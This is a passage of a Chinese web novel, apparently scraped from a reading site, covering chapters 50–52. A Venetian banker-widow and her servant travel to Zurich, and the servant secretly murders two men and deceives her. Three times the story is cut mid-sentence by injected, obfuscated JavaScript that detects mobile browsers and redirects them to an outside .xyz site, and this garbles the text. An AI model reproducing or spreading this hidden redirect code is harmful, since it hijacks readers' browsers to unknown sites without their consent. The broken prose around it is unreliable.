“很温暖,很贴心。甚至连枕头上都用红线绣了我的名字。”莉莉斯静静地说着,下意识转了转左手无名指上的红宝石婚戒,“可能是因为我为数不多的一点点道德感作祟,有些于心不忍吧。我能感受到他曾经是很认真想对待这段婚姻的。若是换成一位其他贵族家的小姐被这样对待,估计都会幸福到感激涕零。只可惜他努力错了方向,被指婚给了我这样一个憎恨婚姻的女人。我虽不后悔下令杀了他,却也知晓自己或许辜负了他的一片心意。不过话又说回来,我并不觉得这是多么了不起的心意。” “为什么?”海因里希听了这一番话,心中五味杂陈。她根本不知道他对她的爱有多么刻骨铭心。 “对一个素未谋面的人能萌生出多少爱意呢?第一印象固然重要,但我不相信所谓的一见钟情。” “可您在那么多奴隶当中一眼就选中了我。” “那是因为选下属的标准更加客观,不像爱情这么虚无缥缈。即使如此,我也不会在你为我工作的第一天就像现在这样全心全意地信任你。建立关系是需要时间和付出的。他要是知道他的妻子是我这样一个贪财又狠心的坏女人,从前便是有再多的心意也会烟消云散了。” “说不定他就喜欢您这样的女人呢。” “别为他说话了,反正是已经死了的人,除了徒增一些愧疚感,再说也改变不了什么。先回去接着工作吧。”莉莉斯似乎有些不悦,“之后我住你的房间,你睡地上。” 海因里希叹了口气,本想再旁敲侧击地说些什么,最后却还是干脆噤声了。 他们很快步行回到了酒店。当海因里希说要退订套房但保留仆人卧室的时候,酒店前台服务人员露出了惊讶鄙夷的神色,说从没有仆人房单独出租给主人与仆人同住的规矩,这太过不成体统。 即使是听不懂德语的莉莉斯也知道对方绝对不在说什么好话。她看着海因里希被气得涨红了脸,咄咄逼人地与对方理论,心里觉得有些不自在,便拍了拍他的肩膀,示意他停下来。 “没什么大不了的。不行的话,明天我就搬去施密德尔家好啦。你若实在不想与任何人见面,就拿着钱单独再去找一间别的什么旅馆。” 海因里希委屈地低下头看着他的女主人,最后冷冷地瞪了一眼前台管事,头也不回地跟在莉莉斯后面回房间。 “没必要和那些人一般见识。住在哪里也没什么大不了,我们有更重要的事情得操心,就算这里不欢迎我们,我们也不至于得露宿街头。别为不值得的人浪费心情。”莉莉斯拽着海因里希的袖子踮起脚尖,揉了揉他头顶的金发。 “可他们说您的坏话…!我不在乎他们说我些什么,但您……您不应该遭受这样无端的恶意啊。” “没事,我又听不懂。所以他们也伤害不到我。”莉莉斯做了个鬼脸,“既然这样的话,你先跟我一起回我的房间帮我理东西吧。我们最后再在付了钱的豪华套房里工作一会儿。” “好。” 海因里希为莉莉斯打开门,却看见本该空无一人的卧室里有一个跪在地上的身影。他正藏在暗处借着窗外的月光翻莉莉斯的行李箱,衣服和文件散了一地。 50.荆棘缠绕的共舞 海因里希立刻冲进去将那人轻松制服在地上。莉莉斯端着烛火向前照亮那人的脸,看到的竟是一张熟悉的面孔。 此人便是他们在帕多瓦同行了一段路后,在进入森林之前分别的那位戴着眼镜的瘦高翻译。 “真难为您跟了我们这么久!”莉莉斯惊叹,“丹伦先生。” “我叫丹特!”丹特怒吼道。他刚一出手便赶到手臂传来一阵剧痛,海因里希几乎要扭断他的胳膊。 “注意你的态度。”海因里希冷眼瞥着丹特。他还没有从刚刚被服务生轻视的愠怒中缓过来,此时正好找到了一个合适的情绪发泄口。他从莉莉斯被翻乱的行李箱里找到一根衣带,熟练地缠起来绑住丹特的双手。 “是我失礼了,夫人。但也没必要把我绑那么死,因为我根本就不打算抵抗。”丹特轻笑道,“我是个文人,又不是刺客,只不过拿钱办事。你们想要我说什么,我全说了。” “之前在帕多瓦的那天晚上,闯进我房间的人也是你吧。”莉莉斯悠闲地靠在沙发上。 “是的。” “这么说来,您不是为了刺杀我,而是为了偷东西了。”莉莉斯瞥了一眼地上文件散落的一片狼藉。 “如果那时候已经得手,我也没必要大老远跟着你们来苏黎世。”丹特的手臂被海因里希死死绑在身后很不舒服,连带着五官也在脸上扭曲地拧在了一起,“我也没什么好隐瞒。是洛伦佐·康达里尼先生派我来的。他给我十个杜卡特,让我偷取你们的商业资料,并阻止你们顺利抵达目的地。” 莉莉斯从海因里希的手里接过地上捡起的文件,轻蔑地睨了一眼他。 “所以你才会编出一些狼人与女巫的传说来,骗我们不要进森林是吗。那可真是个拙劣至极的策略。” “这传说并不完全是假的。你们同行的商队不也就碰上了披着狼皮的强盗吗?我原本打算缓两天换大路到苏黎世,若是听不到你们的消息便原路返回。谁知道你们居然真的活着到了苏黎世?那我也没办法了,只能再试一次。” “好吧。”莉莉斯略显失望地给出评价,“你偷了两次,两次都没得手,还把背后主谋供认不讳。洛伦佐的眼光也太差了,白瞎了这十个金币。” “是康达里尼先生让我说的。”丹特狡辩道,“他告诉我若是我给施密德尔夫人抓了个现行,不妨就告诉您他才是幕后主使。因为一个身份不明,在背后偷偷使坏的家伙可比一个您最熟悉不过的老朋友更加令人不安。他不希望您误解他的意图。” “误解?还能有什么误解。”莉莉斯轻笑,“他不就是想要模仿我们的路子建立一条汇兑交易链吗?只不过仓库被烧的事情与保险业务的确立还在让他焦头烂额,他暂时抽不出时间来罢了。现在偷走我的商业机密,一有空了便要来一比一复制一遍吗?” “当然不是了。比起与您争斗不休,康达里尼先生更想与您合作共赢。他特意嘱咐了我,让我提醒您,他对您的求婚依旧有效。他理解害羞的女士往往会拒绝第一次求婚,尤其是像您这样已经被家族安排过婚姻的寡妇。但他对您的爱情很深厚,他不会就此善罢甘休的。” 莉莉斯仿佛想到了什么特别开心的事,突然捂着肚子笑个不停。她站起身,走到书桌旁边,掀开了铺在油画上的白布,向海因里希和丹特亮出了那幅丈夫的画像。 海因里希看得有些尴尬。在鉴赏过意大利丰富多彩的艺术作品后,他似乎也能意识到这张画像确实不太好看了。而丹特一看到画则顿时大惊失色,眼睛瞪大,瞳孔收缩,仿佛看到了鬼似的吓得叫出了声。 倒也没有那么丑吧!海因里希无奈。 “想要娶我,不如让他问问我死去的丈夫愿不愿意呢?”莉莉斯为丹特的反应捧腹大笑,“只不过得劳烦他去地狱里问啦。而在此之前呢——” 说着说着,她的笑容竟愈发鬼气森森,“海因里希,把他处理掉吧,做得干净一点。知道该怎么办吗?” “您放心。”海因里希从口袋里掏出前不久刚磨过的锋利匕首,“我从不会让您失望。” “等等,你们要干什么!?我不是已经全说了吗?你们还想要我怎么样?”丹特看到银白刀刃上泛出的寒光,才终于意识到事情的后果,“喂!施密德尔夫人,求您放我一命吧,康达里尼先生那里我什么都不会说的……” 海因里希从丹特自己的衣服口袋里掏出手帕,塞进他的嘴里堵住那根喋喋不休的舌头。接着,瘦弱的男人感受到自己后脑受到一记沉重的猛击,双眼便昏昏沉沉地合在了一起,再睁开的时候,他已分不清糊在眼前的究竟是莉莉斯艳丽的红发,还是自己流出的鲜红的血。 第二天一早,莉莉斯便收拾好了行囊,拦了一辆马车前往施密德尔家的住宅。帕斯卡并不长住在那栋房子里。他在苏黎世有自己的住所,而这栋别墅是专供德国的施密德尔住家前来度假出差时临时居住的。但别墅里的仆人各个都在几个月前刚刚和海因里希打过照面,不可能认不出来。海因里希只好回避了与莉莉斯同行,自己另外去找了一家并不算太近也不算太远的旅馆。 与莉莉斯分别后,开设分行的工作在有条不紊地进行着。他们凭借威尼斯的营业执照,迅速获得了苏黎世汇兑商行会的认可。莉莉斯在市中心商铺里来来回回考察了几个不同的位置,最后成功敲定了一个在河岸边正对着广场中心的铺面。 银行挂牌开业后,莉莉斯便开始安排员工有条不紊地制作起宣传小广告,到市场、商行会以及露天剧院里发放。宣传效果出乎意料的好。大多数商人只是抱着凑热闹的心态过来问一问,但只要十个人里能有一个在银行开立账户,这番努力便没有白费。 莉莉斯的工作变成了每天在开业时间里待在银行中接待客户。阿尔卑斯商路上来来往往的商人应接不暇。他们带来商品、货物、金钱,还有信息,同样的,他们也期待着用自己拥有的资本迅速交换到他们所需要的东西。此时此刻,没有什么比一本标题劲爆内容实用的小册子更能够为他们指点迷津。 由于客户比想象中更多,莉莉斯不得不把回程的计划延后一周,决定在苏黎世多停留几日。而不愿出门的海因里希似乎帮不到他什么,只能主动承担起了为莉莉斯与埃莱娜姑姑和克拉拉修女代笔书信的工作,另外还有日常的估值计算,以及想方设法撰写新的小册子内容。 莉莉斯一天到晚都在忙碌,抽不出时间与他见面,每天都只是差送信的小厮来给海因里希递消息。虽然这样的安排极大程度上方便海因里希去做一些不愿意被莉莉斯发现的事,但自从习惯了与她朝夕相处的日子之后,像这样突然隔着好几天几乎见不到她,他突然很想很想见她。 于是,在银行正式开业的第七天晚上,海因里希冒着被认出来的风险,翻过栏杆潜入进了施密德尔家的别墅。他从那间曾经属于自己的卧室里翻出来一套黑色礼服,戴上帽子,换上皮鞋,甚至连双手都用黑色的皮手套覆盖起来。 望着镜子里熟悉又陌生的自己,海因里希恍惚间重新变回了施密德尔家意气风发的继承人。如果莉莉斯曾经见到过这样的未婚夫,她会怎么看待他呢?她还会在外人面前像是故意拿鬼图来吓人一般展示他的画像,介绍说这是她的丈夫吗? 可海因里希现在还不能让她知道真相。他不得不戴上那幅如黑鹫鸟喙般的面具,随后,趁人不注意时偷偷隐匿进了别墅的后花园,藏在烛光投下的阴影里窥视明亮的宴会厅。 透过玻璃窗,他看见莉莉斯穿着华丽的黑裙子,正落落大方地在客厅中宴请宾客。她的笑容在烛火下顾盼生辉。这就是他的女主人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214395|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的未婚妻,他心中最美丽、最可爱的存在。海因里希不由自主地笑了。只是这样远远地看一眼便使他很开心。 可没过多久,他受到屋子里哄闹人声的吸引,便又十分好奇莉莉斯正在说些什么,于是进一步往窗边靠近,听见莉莉斯正在与人交谈。 “施密德尔夫人,”一个留着络腮胡子的男人端着酒杯走到莉莉斯面前,用蹩脚的意大利语对她说:“鄙人与施密德尔家多有合作,也久闻克纳罗家族的大名,十分看好克纳罗银行的未来发展。只不过您年纪轻轻便丧偶,真是可怜啊。” “我很年轻吗?”莉莉斯故意装作听不懂对方口中的明褒暗贬,用开玩笑的语气回应道,“其实我已经快五十啦,只不过保养得好,看不出来吧?” 围在莉莉斯身边的众人都被逗笑了,连带着海因里希也露出得意的笑容。相比从前那个在汇兑商交易所与管理人正面冲突的骄傲少女,莉莉斯现在也越来越擅长圆滑地化解那些不友善的声音了。像她这样聪明过人的天才,果然学什么都很快。 海因里希正沉浸在偷窥莉莉斯的幸福泡泡里,看了好一会儿才注意到莉莉斯身边竟一直跟着一个他完全不认识的陌生男人。 那人身材高大,穿着简约得体的宴会礼服,一直紧紧跟在莉莉斯身侧。海因里希仔细观察了一阵,猜测这是莉莉斯雇佣的翻译。 他突然感到一直以来属于自己的位置被人抢了去,嫉妒得抓狂。如果莉莉斯觉得那个男人也像他一样又好看又听话又能干,是不是会把他收编入麾下,带回威尼斯充当银行的一员?是不是也会主动靠进他的怀里,用甜言蜜语撩拨他的心弦,甚至用鞭子与皮带抽打他的身体? 不行。绝对不行。 他第一次感受到自己受到了极大的威胁。洛伦佐虽然家财万贯,风度翩翩,但他傲慢的告白根本入不了莉莉斯的眼。然而,工作中的下属不像婚姻,不具备任何神圣的唯一性,想要多少就可以有多少。莉莉斯有什么理由去拒绝另外一把好用的工具呢? 他恨不得摘下面具,立刻冲进宴会厅,告诉他们他就是海因里希·施密德尔,莉莉斯唯一的丈夫。但理智告诉他不能这么做,不能被凭白无故的怒火主宰他的心。可他同时又做不到就这样坐以待毙,他得做点什么…… 正当他痛苦纠结之际,突然听见屋里的乐队开始演奏起了优美的舞曲。人们纷纷欢快地在大厅里两两配对跳起了舞来。海因里希正焦急地张望着莉莉斯的去向,却看见他盛装打扮的妻子竟从别墅的后门走了出来,独自走进了花园里的小径,欣赏起了花架上缠绕着绽放的红玫瑰。海因里希惊慌失措地想要躲起树影里,却还是被莉莉斯注意到了一个人影。 “这位先生。”莉莉斯用德语与他打招呼,好奇地向他的方向望去,看见他脸上的威尼斯式面具后忽然觉得有些亲切,便切换回了意大利语,“您在这里做些什么?您是威尼斯人吗?我们在哪里见过面吗?” 海因里希不敢开口,也知道自己已经被荆棘困住,无处可逃。透过面具投下的薄薄一层阴影他望进莉莉斯带着笑意的绿色双眼,忽而鼓起了勇气,挺直腰背走到莉莉斯面前。 他用上流社会的礼仪向莉莉斯优雅地鞠了一躬,仿佛是施密德尔先生初次见到他的未婚妻。他伸出右手,向莉莉斯发出邀请。 “您是要与我跳舞吗?”莉莉斯笑着问道,不明所以地抬起手接受了这位陌生男士的吻手礼。他为什么要戴着面具和帽子,他在掩饰些什么? 她主动牵住对方戴着黑色皮手套的手,在皎洁的月光下与他跳起了舞来。好奇心驱使她不知不觉间伸出手,想要趁对方不注意时摘下那枚面具,去窥探背后隐藏的真容。可还没等莉莉斯找到答案,她便突然失去意识昏了过去,倒在了一个温暖而似曾相识的怀抱里。 51.藏在暗处的威胁 莉莉斯醒来的时候,发现自己正躺在一间陌生的卧室里,海因里希坐在不远处的书桌前。他看见莉莉斯睁开双眼,立刻非常激动地起身走到她面前。 “您终于醒来了。您没事就好。” 莉莉斯揉了揉眼睛,恍惚间感觉后脑勺在一阵阵地发疼。她看见窗帘缝隙里泛进来的阳光,才意识到大概是过去了一整夜。她突然猛地从床上爬起来,想起来她上次睁眼时还在昨天晚上的宴会。 “一个戴着面具的男人。”莉莉斯惊恐地大喊着扑进了海因里希的怀里,“是他干的,是他袭击了我。他对我做了什么?” “夫人。”海因里希温柔地抱住她,拍了拍她的背,“您别害怕,您现在已经安全了。都是我不好,我以后一定会好好守护您的,我会陪在您身边。” “发生了什么?”莉莉斯无助地靠在海因里希的胸口抽泣,“那个人到底是谁?宴会最后怎么样了?我的客户们——” 海因里希默默抱紧了她,深呼吸了一口气,说出早已提前编织好的谎言:“您放心,埃莱娜小姐的代理人在发现您离开后立刻接替了您继续应酬,只说您临时有事提早离席。您昨夜或许是酒喝多了,晕倒在了小花园里,或许有些磕到了脑袋。但是医生已经来看过了,说只是普通的磕碰,不用太担心。您现在在我的酒店房间里。” “不。我不是自己晕倒的。”莉莉斯执着地重申,“我看见了一个戴着面具的男人,大概……像是你这么高,或者比你更高一点。他带着黑色的礼帽,黑色的礼服,黑色的手套,还有黑色的巴尔塔的面具!他袭击了我!” “也许您得与埃莱娜小姐的代理人再确认一番吧。只是据我所知,宾客里并没有一位戴面具的男人出席。不过,倒是有另外一位先生……” “谁?” “穆勒先生,您在苏黎世聘请的那位翻译。他死了。”海因里希皱着眉头,作出一幅忧心忡忡的派头。 “什么!?”莉莉斯大惊失色。 “是在散会以后回家路上的小巷里,被人一刀割断了喉管。执法官们接到报案,正在调查凶手,只不过目前还没什么明确的线索。不过您放心,此事已经被我们按了下去,绝对不会传到客户的耳朵里。” 莉莉斯轻轻推开海因里希,抹掉眼泪,迫使自己冷静下来好好分析,思考接下来该怎么办。 “假设丹特之前真的招干净了,那也许可以先排除掉洛伦佐的嫌疑。他远在威尼斯,无从得知我们在这里解决了丹特,便也无法做出进一步下令指使人来反击。” “或许作为小喽啰的丹特不过是个幌子,其实他手下还有人在监视我们的行动?”海因里希故意把疑点引导到错误的方向。 “也不是没有可能。”莉莉斯眨了眨眼睛,皱着眉头思索道,“但我倾向于不是他做的。我们不能对其他人掉以轻心。无论是帕斯卡……还是埃莱娜姑姑的代理人。我们无从知晓他们脑子里在想些什么。” “您说得对。”海因里希附和道。 “还是我失算了。我不应该只带你一个人出行的。我完全低估了出门在外的安全隐患。” 莉莉斯一边说着,一边控制不住地发抖打寒颤。海因里希见状,主动对她张开双臂,被莉莉斯又一次扑了个满怀。他能感受到恐惧与不安促使莉莉斯的心脏在胸腔里狂跳,而他,海因里希,导致莉莉斯心绪纷乱的始作俑者,却装作若无其事地把她搂在怀里安慰。 莉莉斯的手指隔着一层衬衫抓紧了海因里希的背:“下次如果要出行,必须得多雇一些人,不能让你一个人同时承担会计、保姆、翻译和安保的工作……不对。” “怎么了?” “昨天一夜都是穆勒累着我为我翻译的。我没有向在场的宾客介绍过他的名字,但是我提起过,我有一位得力的部下叫做海因里希。”莉莉斯怔怔地分析道,“你说会不会有一种可能……他们错把他认成了你?不然我想不通。一个替代性极强的翻译,甚至我们的机密文件都没有给他经过手,除掉这样的一个人究竟有什么意义?” “也不是没有这样的可能。”海因里希见莉莉斯竟完全没有怀疑自己,暗自松了一口气。 “真可惜。那个叫穆勒的翻译挺能干的,是刚毕业不久的大学生。本来想最差给他在苏黎世分行里安排个差事,或者干脆带回威尼斯去……哪知道居然会出这种事呢……好好安抚他的家人,毕竟是在参加完我的宴会后出的事,我们不能对此坐视不管。” “遵命。” “不过我们真的很缺人,回去之后一定得加紧扩招了。”莉莉斯双手抱头,发出悲鸣,“还是由你来负责。唉,虽然这样子想很不好,但是出事的还好不是你,海因里希。” “夫人……”海因里希将莉莉斯稍稍推开一些, “我也很庆幸您平安无事,只是苏黎世实在太危险了。我们接连受到袭击,这样下去也不是办法。” 莉莉斯沉默了。苏黎世的工作还有一些最后的收尾的部分没有完成,虽说也不是不能提前离开,但是…… “另外,今天早上我还收到了一封信。”海因里希把莉莉斯抱着放回到床上,起身去书桌上拿来一封已经被拆开的信。莉莉斯没有注意到信封上模糊不清的火漆印,迫不及待地把信纸抽出来了。 她看见熟悉的花体字,与康达里尼银行开具的保险单上签字的字体一模一样。这是洛伦佐写的信。莉莉斯翻了个白眼,继续读下去。 亲爱的施密德尔夫人, 您安。我听说了与您一同出发的商队在阿尔卑斯山一代森林中遭遇劫匪的事。介于您正在享受本行提供的保险业务,我们将根据条款对您的货物进行理赔。请您于六月十五号亲自前往本行洽谈。违期则将无法按例为您办理理赔。 P.S.当然了,介于我们俩的私人交情,我倒是可以网开一面为您提供延期服务。另外,也请您再次考虑一下我从前的提案吧。我对您的爱意不变。 您的, 洛伦佐 几乎是在读完的那一瞬间,莉莉斯便下意识把信纸狠狠捏成一团,当作垃圾丢了出去。 “六月十五号?我就算明天早上立刻马上出发也不一定赶得上。他就是笃定了我来不及回去,想要讹我一大笔是吧。” “那么您打算怎么做?” “既然明天早上出发来不及,那就今天晚上就走。”莉莉斯从床上猛地弹起来,“收拾东西,准备好出行的行李、干粮、现金、汇票还有马匹。我最后出门去办点事。晚上六点在这里碰面。来的及吗?” “只要是您的命令,就一定来得及。” “好。” 莉莉斯打开衣柜,拿出挂在柜子里的长裙。海因里希乖巧地主动离开房间回避。他关上酒店房门,站在走廊里,激动得全身都在控制不住地发热发抖。 他居然真的轻而易举地就骗过了莉莉斯,顺利排除掉一个碍眼的威胁,并且达成了促使莉莉斯尽快启程回家的目的。虽然之前暗中使绊,故意出馊主意的事儿也没少干过,但是明着对莉莉斯动手确还是第一次。 莉莉斯的脑袋是他被摘下面具之前情急之下敲晕的,穆勒的喉咙是他割断的,连洛伦佐的信都是他借着丹特与洛伦佐通信的字迹伪造的。可莉莉斯却根本就没有怀疑过他,还把他的怀抱当作一个安全温暖的港湾,庆幸他的平安无事。 一种阴暗而罪恶的快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229928|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感在他的胸口狂舞。聪明狡猾的莉莉斯,他高高在上的女主人竟被他这么轻松地蒙在了鼓里,只怪她给予了他几乎毫无保留的信任。 海因里希知道自己在做什么。这是欺诈,是谋杀,是造假,是无中生有的阴谋与戕害。一切拜莉莉斯所赐,他在她的威逼下跨越了道德的底线,在她的悉心教导下学会了害人的手段,并一步一步开始用她指使他对别人使用的手段来对付她自己。 而这还仅仅是个开始。 “你可以进来了。” 海因里希推开门,看见莉莉斯已经换好了裙子,让他帮忙系上裙子背后腰封上的丝带。海因里希用力一扯,莉莉斯整个人向后一跌,腰肢像是木偶被丝线牵住的关节。她照着镜子,仔细观察着她自己的脸蛋,全然没有去注意镜子前的海因里希为克制内心阴暗的狂喜而露出了怎样有趣的表情。 穿好裙子后她开始梳妆,海因里希也坐在书桌前继续工作。昨天他从埃莱娜的代理人那里拿到了新的报表,但是忙着编制谎言还没有来得及看。这会儿他从纸袋里掏出文件,试图让自己通过工作冷静下来,却被上面的数字着实吓了一跳。 仅仅是一周的时间,莉莉斯就吸引到了等值近十万杜卡特的资金,比起他们初创时期走亲访友七拼八凑的五千杜卡特初始资金翻了整整二十倍。 这些钱并不是利润,而是他们吸收到的资本。也就是说,莉莉斯需要让这些钱持续滚动起来,无论是通过汇兑、贷款、还是投资来赚取利润,支付利息,并从中抽取手续费。10万杜卡特,如果按照每年1%的利润来算,也有足足一千杜卡特,相当于15个意大利普通市民家庭一整年的生活开销资金。 借着施密德尔家与克纳罗家远扬在外的好名声,避开了威尼斯城里知道克纳罗家金玉其外败絮其中的内幕知情人,莉莉斯在苏黎世如鱼得水,也难怪她还想再继续停留一段时间。可是,海因里希不想继续过这种窝在小黑屋里见不得光的日子,况且他来到这里的任务已经完成了,为了跟进他的复仇进度,他必须要先回到威尼斯去。 傍晚,莉莉斯如约而至聚在海因里希所住的酒店门前。工作了一天,她的脸上尽显疲态。为了让她能在回去的路上好好休息,他还是雇佣了马车与车夫,这样既可以日夜兼程地行路,也不用莉莉斯自己骑。 除了马车以外,与他们同行的还有三架骡车来运送他们在苏黎世获得的钢铁和武器,大多数都是施密德尔家赠送给他们会去贩卖的样品。有关未来合约的事情帕斯卡也给出了愿意尝试的肯定答复。如果这笔生意能做成的话,在未来又会是一笔巨大的进项,前途一片光明。 临走前,莉莉斯在邮筒里塞入亲笔写完的几封信。有写给埃莱娜和塞西莉娅的,有写给克拉拉的,还有写给索菲亚和伊索尔德的。本来她提起过回程时再去绕路看望一次伊索尔德,没想到因为这种原因无法到访,只好写信阐明,并再次邀请她去威尼斯相见。如果伊索尔德将她埋头研制的保养药水卖给威尼斯上流社会的太太小姐,估计也将是一笔巨大的财富。 上了马车后,她掀开窗帘,伏在窗边最后一次欣赏这座漂亮的小城。与来时货物俱损、连酒店房钱都付不起的惨状相比,现在虽然不得不连夜赶路,财政状况上确实大有进益,证明这一趟没有白来。 只是时间正在加快,不断地加快,推着莉莉斯一路向前。她不得不适应这样的速度,以免被不断向前滚动的时代车轮碾碎。 回去的路上他们路过施密德尔家的小别墅,花园里的蔷薇正在盛开。马车里坐在莉莉斯对面的,除了海因里希以外,还有铺着一层白布的未婚夫画像。她想来想去,还是决定把这幅画一起带回家。 52.玩具的分歧 从意大利大陆的梅斯特雷港乘船抵达威尼斯时,莉莉斯久违地嗅到了大海令人熟悉的咸腥味。六月的海风轻拂过她脸上的碎发,空气清新宜人。 她坐在甲板上,独自撑着一把小阳伞,隔着好远就瞧见了圣马可广场一旁的港口上塔塔歪着脖子四处张望的身影。令她意外的是,索菲亚也站在港口上迎接她。 索菲亚为丈夫服丧的丧期已过,她不再一身黑裙,而是换上了她未婚待嫁时最喜欢的绿裙子,在阳光下熠熠生辉,非常好看。她身边照例站着一位莉莉斯从未见过的陌生帅哥,但莉莉斯根本没看见,满眼都只有朋友热情洋溢的笑脸。 她兴奋地在甲板上来回踱步。不仅是因为能够与朋友相见而份外喜悦,还夹杂着赚到了大量资产汇票带回威尼斯的志得意满。这意味着新一个季度她终于可以给索菲亚支付比原定利率更高的利息了,她为自己没有辜负好朋友的信任而倍感自豪。 一下船她便扑进索菲亚的怀里,招呼海因里希赶紧把她特意给索菲亚准备的礼物翻出来。海因里希只能一边监督船员清点货物,一边慌忙地从随身带的包里翻出一个精致的首饰盒。 “你我之间不需要这么生分。”索菲亚笑着拉住了莉莉斯的手,为她拂去脸上的碎发,“长途坐马车你肯定累坏了。” “还好,我不像你经常有机会去丈夫埃斯特家的领地费拉拉。这是我第一次离开威尼斯呢。”莉莉斯笑得满面春风,“我玩得很开心。” “我才不相信呢。你总是把工作放在第一位,累坏了也坚持不肯休息。其实你本没有必要让自己那么累。”索菲亚挽起她的手,“塞西莉娅还没有回来,我怕伊万卡一个人照顾家里忙不过来,所以我特意跟她们打了个招呼,今晚你来我家休息。” “这怎么好意思呢!”莉莉斯感到受宠若惊。 “哎呀,其实是我想听你说说看你在旅程中遇到过的趣事嘛,还有这条所谓的汇兑资金链究竟是什么意思?或者聊点什么别的也行。你不在的这段时间都没人陪我说话,我快无聊死啦。” “你不是最喜欢去社交舞会了吗?”莉莉斯轻笑。 “舞会上都是些外人,在她们面前我还得装模作样地演着,哪有跟你聊天开心呢。” 索菲亚展开折扇,掩面露出一个坏笑,“说到舞会,你不在的时候我去参加了我们修道院学校的同学舞会,帮你又拉到了不少客人呢。诶不过这不是重点,重点是我听说了一个惊天大丑闻!” “什么故事!?”本来莉莉斯坐了许久的船感到有些疲倦,一听到八卦消息又突然打起了精神来。 “等我们回家了再说,起码等先坐上船。这里人太多了。”索菲亚笑着说。 “好好好。你稍等我一下。”莉莉斯松开了挽住索菲亚的胳膊,转过身看向正在清点货物的海因里希。海因里希立刻领会了她的意思,放下手上的工作小跑到莉莉斯身边。 “这边的工作交给你可以吗?”莉莉斯问道。 “没问题。正好塔塔也来了,她也可以帮助我。”海因里希耸耸肩,“您先去休息吧,请放心。” “那我先走了。你清点完之后也先回去休息吧,我们明天上午再开会。” 莉莉斯对海因里希点点头,同时笑着对塔塔眨了眨眼睛,“塔塔!好久不见,辛苦你来接我啦。我给你们每个人都准备了礼物,等之后再给你。海因里希,你也有哦,礼物的内容是秘密。” 接着,莉莉斯便带上随身的行李上了索菲亚的贡多拉,与海因里希和塔塔二人暂且分开。 海因里希一手拿着清单,一手握笔,在码头上例行公事地检查所有货物都已经运上前往莉莉斯家小楼或者租凭仓库的小船。他见塔塔正无所事事地坐在一个木头箱子上打望人群,便递给她一张清单,和他一起合验清点。 “我是来接夫人回家的,不是来听你差遣的。”塔塔双手抱胸,毫不客气地白了一眼海因里希,“你别以为跟夫人出去了一趟,就能对我发号施令了。” “这是你应该对我说话的态度吗?就算你看我不顺眼,我们也好歹是同事。” 海因里希皱着眉头,对塔塔毫不遮掩的敌意百思不得其解。从他与莉莉斯出发前塔塔就对他没有好脸色,没想到两个月过去不仅没有缓和,反而还变本加厉了。怎么,毛罗事件过去了那么久,难道她还在惦记自己被抢了风头的事,一直耿耿于怀吗? “我怎么不能这么和你说话?海因里希,我在给夫人工作的时候,你还不知道在奴隶岛上的哪个笼子里等着被人买吧?要不是夫人把你买了回来……”塔塔越说越起劲,越说越不饶人,直到她被一只有力的大手死死掐住了脖子,掐得她根本说不出话来。 “我在克纳罗银行的职务是首席财务官,本来就有对你发号施令的职权。”海因里希目光冰冷,仿佛看不见塔塔的痛苦挣扎,一字一句、慢条斯理地为她解释道: “我们同样为夫人工作,所以我从来不想与任何一位同事撕破脸。你如果对我安排给你的工作有什么不满,大可以去向夫人告状,看看她是会站在兢兢业业、认真工作的员工这边,还是站在故意惹事生非、羞辱同事的员工那边。” 说完之后他才轻飘飘地松开手,塔塔一个踉跄差点跌倒在地上,连着向后退了好几步,捂着被掐红了的脖子干咳不止。 “好好干活,夫人面前我会当什么事都没发生。”海因里希最后瞥了她一眼,“不想干就滚。” 塔塔竟被呛得一时说不话来。从前她对海因里希多次过出言不逊,可对方也只是打哈哈就糊弄了过去,没想到这次竟真的发起了火来。塔塔自觉理亏,却又实在咽不下这口恶气,干脆撂挑子一溜烟跑了,也不知道跑到了哪里去。 海因里希失去这么一个不友好的累赘反而松了口气。只是令他觉得有必要得和莉莉斯反应一下自己无辜受辱的遭遇。不过,在此之前,他清点完货物后的第一件事,是去向里亚尔托大桥以北的德意志商人聚居区,在那里他有更重要的事要办。 他匆匆步入那家他再熟悉不过的巴伐利亚酒馆,上楼找到他在酒馆中长租下的房间,将他从苏黎世买回的面具放在空空如也的床上,脱下身上的脏衣服,换上一身做工精良的便衣。 最后,他在镜子前戴上面具,披上黑披风,压低帽檐。在作为面具之乡的威尼斯,这身匿名行装十分常见,丝毫不会惹人注目,而这正是海因里希想要达到的效果。 他锁上门,离开酒馆,径直往一条阴暗小巷的深处走去。在那里面他走进一幢外立面破破烂烂的房子。他用随身携带的钥匙圈里的钥匙打开房门,步入了一间略显陈旧但十分宽敞的会议室,圆桌前已经聚满了十几个年龄各异的男人。 “下午好,先生们。”海因里希摘下帽子,脱下面具,面无表情地将一沓厚厚的文件从皮包里掏出来,丢在会议桌上,用德语告诉他们:“开始吧。现在是工作时间。” 城市的另一边,莉莉斯正坐在柔软的沙发里,一边隔着落地窗晒太阳,一边品尝威尼斯技艺最精湛的厨师用最新鲜的食材制作的甜品。她刚刚给索菲亚介绍完了汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 